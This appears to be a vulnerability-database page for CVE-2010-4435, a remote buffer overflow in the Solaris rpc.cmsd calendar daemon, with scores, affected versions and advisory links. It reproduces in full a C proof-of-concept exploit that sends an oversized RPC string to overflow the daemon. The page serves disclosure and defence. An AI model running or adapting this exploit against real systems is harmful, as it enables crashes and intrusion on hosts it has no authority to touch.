CVE-2010-4435 : Detail

CVE-2010-4435

92.89%V3
Network
2011-01-19
15h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unspecified vulnerability in Oracle Solaris 8, 9, and 10 allows remote attackers to affect confidentiality, integrity, and availability, related to CDE Calendar Manager Service Daemon and RPC. NOTE: the previous information was obtained from the January 2011 CPU. Oracle has not commented on claims from other software vendors that this affects other operating systems, such as HP-UX, or claims from a reliable third party that this is a buffer overflow in rpc.cmsd via long XDR-encoded ASCII strings in RPC call 10.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16137

Publication date : 2011-02-08 23h00 +00:00
Author : Rodrigo Rubira Branco
EDB Verified : No

/* * Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking . com> * http://www.kernelhacking.com/rodrigo * http://www.risesecurity.org */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <rpc/rpc.h> #define CMSD_PROG 100068 #define CMSD_VERS 4 #define CMSD_INSERT 6 #define CMSD_UNKN 10 struct cm_send { char *s1; char *s2; }; struct cm_send2 { char *s1; char *s2; }; struct cm_reply { int i; }; bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp) { if(!xdr_wrapstring(xdrs, &objp->s1)) return (FALSE); if(!xdr_wrapstring(xdrs, &objp->s2)) return (FALSE); return (TRUE); } bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp) { if(!xdr_wrapstring(xdrs, &objp->s1)) return (FALSE); if(!xdr_wrapstring(xdrs, &objp->s2)) return (FALSE); return (TRUE); } bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp) { if(!xdr_int(xdrs, &objp->i)) return (FALSE); return (TRUE); } int main(int argc, char *argv[]) { char buf[2048], buf2[256]; long ret, offset; int len, x, y, i; char *hostname, *b; CLIENT *cl; struct cm_send send; struct cm_send2 send2; struct cm_reply reply; struct timeval tm = { 10, 0 }; enum clnt_stat stat; printf("<< rpc.cmsd remote PoC (CVE-2010-4435), tested against Solaris, AIX, HP-UX >>\n"); printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking.com> >>\n"); printf("<< http://www.kernelhacking.com/rodrigo >>\n"); printf("<< http://www.risesecurity.org >>\n"); if(argc < 2) { printf("Usage: %s [hostname]\n", argv[0]); exit(1); } hostname = argv[1]; memset(buf,0x60,sizeof(buf)-1); memset(buf2,0x44,sizeof(buf2)-1); memcpy(buf+292,"\xaa\xbb\xcc\xdd",4); send.s1 = buf; send.s2 = ""; send2.s1 = buf2; send2.s2 = ""; printf("\nSending CMSD_UNKN to the server ... "); if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){ clnt_pcreateerror("\nerror");exit(-1); } stat=clnt_call(cl, CMSD_UNKN, xdr_cm_send, (caddr_t) &send, xdr_cm_reply, (caddr_t) &reply, tm); clnt_destroy(cl); printf("done!\n"); printf("Sending CMSD_INSERT procedure ... "); if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){ clnt_pcreateerror("\nerror");exit(-1); } cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); stat=clnt_call(cl, CMSD_INSERT, xdr_cm_send2, (caddr_t) &send2, xdr_cm_reply, (caddr_t) &reply, tm); printf("done!\n"); clnt_destroy(cl); }

Products Mentioned

Configuraton 0

Sun>>Sunos >> Version 5.8

Sun>>Sunos >> Version 5.9

Sun>>Sunos >> Version 5.10

References

http://secunia.com/advisories/43258
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0352
Tags : vdb-entry, x_refsource_VUPEN
http://osvdb.org/70569
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/42984
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.exploit-db.com/exploits/16137
Tags : exploit, x_refsource_EXPLOIT-DB
http://securityreason.com/securityalert/8069
Tags : third-party-advisory, x_refsource_SREASON
http://www.securitytracker.com/id?1024975
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2011/0151
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/45853
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/46261
Tags : vdb-entry, x_refsource_BID